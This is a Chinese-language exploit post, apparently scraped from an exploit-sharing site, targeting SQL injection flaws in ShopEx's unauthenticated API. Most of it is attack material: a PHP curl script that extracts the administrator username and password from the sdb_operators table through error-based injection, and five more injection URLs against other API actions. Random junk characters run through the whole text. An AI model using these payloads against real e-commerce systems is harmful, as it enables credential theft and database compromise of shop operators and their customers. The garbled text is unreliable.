|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
, B- _/ ~! j) g6 tcore\api\payment\1.0\api_b2b_2_0_payment_cfg.php
6 T! S; j: A4 i# V2 j
* v1 l+ r( L8 [1 d第44行 $data['columns'] 未做过滤导致注入. G# m/ c6 ]) s0 J
! g1 B/ ]9 \ q$ W* j
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.4 C" s K" B& w' x7 o, X2 S
6 U+ h5 J9 X2 E3 s! X注射1:
) l6 {9 c5 ^8 v& D: A' R" j
1 U8 O8 Q9 d; t1 }http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#( {6 N8 a! c# E* Y* p1 S" E
+ `5 Q, z" B: o; ]- w
注射2:7 F! F0 P3 U; W& C( c
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}3 N4 [4 n0 E" @
3 y6 N6 F/ k: q0 C9 L注射3:: Q" W* _: d2 z) r- M. y. d
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
6 Z6 P8 H9 M' F- Q注射4:
) l, D3 E* i, o3 I+ r
6 H. \$ Y3 D5 u0 F0 u' Mhttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
% U# q7 a( B! j* R( B4 @7 _5 p
$ o$ X7 C# p' P' }) J6 x' F
: C3 |: _) \# g# R; k注射5:
3 n3 L! Z2 t( Y; R& T9 ?/ i; Q2 t http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
T0 @% y: f" q
- T8 s7 B, h, m7 ?
! \' d' ]0 ]+ V' X7 x( g: N* h& _; d
( ^8 R. d( l3 g+ D' U. Y! e: t% V/ \& j, X0 s3 @
) {# P5 L; B: L" a9 @6 m; t: u
4 i P a/ J2 P" ~ f# C' Q) j2 L
|
|